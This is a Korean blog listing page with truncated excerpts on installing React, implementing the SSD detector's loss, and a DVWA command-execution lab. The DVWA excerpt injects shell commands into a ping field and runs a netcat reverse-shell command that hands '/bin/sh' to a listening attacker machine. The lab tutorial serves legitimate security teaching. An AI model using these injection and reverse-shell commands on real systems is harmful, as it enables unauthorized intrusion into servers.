본문 바로가기

전체 글

(128)
react 설치 우선 node(https://codestudycafe.tistory.com/17)를 설치해 줍니다.그리고 터미널에 npx create-react-app {프로젝트 명}을 입력해 줍니다. 만약 에러가 나오면 npm install -g create-react-app를 한번 입력해 줍니다.그럼 이렇게 파일이 나옵니다. 이제 터미널에 cd {프로젝트 이름}으로 프로젝트에 들어가고 npm run start로 실행을 시킵니다. 사실 이걸로 끝인데 너무 짧으니 파일 구조라도 한번 봅시다. 여기서 같은 이름이 한 세트라고 생각하면 됩니다. index 3개가 한 세트고 app 2개가 한 세트입니다. app.test.js는 테스트를 위한 코드로 무시합시다. 대부분 프로그램의 시작은 index입니다. index의 html을..
[논문 구현] SSD: Single Shot MultiBox Detector 로스 구현 우선 이 전에 만든 AnchorBox 레이어는 제거해 주도록 하겠습니다. 로스를 계산할 때 필요할 줄 알았는데 로스를 계산할 때가 아니라 데이터 전처리 단계에서 진행하는 것이 훨씬 좋을 것 같네요. 각각의 anchorbox마다 양성인지 아닌지, 양성이면 어떤 객체인지 IOU를 기반으로 전부 작성해 주고 loss를 계산해 줍니다. 이제 로스를 구현해 보겠습니다.논문에서는 smoothL1 로스를 사용했습니다. 로스는 다음과 같이 생겼습니다. -0.5 ~ 0.5까지는 $\frac {x^2}{2}$, 나머지는 $\left\vert x \right\vert - 0.5$ 를 사용합니다. 모든 곳에서 미분 가능하게 하기 위해서인 것 같습니다.아래와 같이 계산합니다. tf.를 사용해 줘야 나중에 학습이 가능합니다. 그..
dvwa Command Execution command execution은 운영체제 명령을 실행할 수 있는 취약점을 말합니다. 이주 직관적인 예시가 dvwa에 있습니다.dvwa를 켜고 command execution으로 가줍니다. ping ip를 입력하라고 합니다. 여기에 8.8.8.8을 넣어줍니다. ping {입력}을 하는 명령인 것 같습니다. 그럼 여기에 8.8.8.8;ls를 넣어줍시다.  아래쪽에 현재 위치의 파일 목록을 보여줍니다.8.8.8.8;ifconfig를 입력하면 ip를 보여줍니다. 이제 리버스 쉘 공격을 해봅시다. 먼저 칼리 리눅스에서 nc -nlvp 7777를 실행해 포트를 열어둡니다. 그리고 8.8.8.8;nc -nv 172.30.1.58 7778 -e /bin/sh를 입력합니다.  아무것도 실행이 안되는 것을 보니 -e 옵..